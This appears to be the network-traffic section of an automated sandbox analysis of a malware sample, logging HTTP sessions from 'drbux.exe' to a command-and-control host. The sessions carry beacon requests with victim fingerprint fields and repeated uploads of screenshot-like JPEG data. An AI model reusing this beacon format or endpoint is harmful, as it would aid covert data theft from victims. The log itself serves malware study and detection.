Jul 19, 2021 18:36:04.320575953 CEST	12912	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:04 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:04.364641905 CEST	12912	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:04.364793062 CEST	12913	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:04.364974976 CEST	12923	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:04.365104914 CEST	12925	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:04.457685947 CEST	12932	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:04.457952976 CEST	12934	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:04.458267927 CEST	12937	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:04.458292007 CEST	12940	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:04.458811998 CEST	12942	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:04.458893061 CEST	12945	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:04.459722042 CEST	12953	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:36:04.482129097 CEST	12954	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:04 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.6	49857	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:04.519926071 CEST	12955	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:04.611758947 CEST	13002	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.6	49858	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:04.835187912 CEST	13019	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:04.930576086 CEST	13020	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.6	49859	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:04.969136000 CEST	13021	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:04.969261885 CEST	13021	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:04.969474077 CEST	13031	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:04.969649076 CEST	13034	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:05.052248955 CEST	13040	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:05.052371025 CEST	13042	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:05.052613020 CEST	13045	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:05.052732944 CEST	13048	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:05.053045034 CEST	13050	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:05.053209066 CEST	13053	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:05.053364038 CEST	13055	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:36:05.307327032 CEST	13120	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.6	49860	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:05.148149014 CEST	13109	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:05.259644985 CEST	13119	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.6	49861	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:05.453286886 CEST	13121	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:05.543212891 CEST	13121	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.6	49862	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:05.614686012 CEST	13122	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:05.614805937 CEST	13122	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:05.615056992 CEST	13132	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:05.615186930 CEST	13135	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:05.694122076 CEST	13138	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:05.694618940 CEST	13143	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:05.694664955 CEST	13146	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:05.695111036 CEST	13148	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:05.695463896 CEST	13151	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:05.696173906 CEST	13155	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:05.696260929 CEST	13158	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:36:05.940794945 CEST	13220	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.6	49863	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
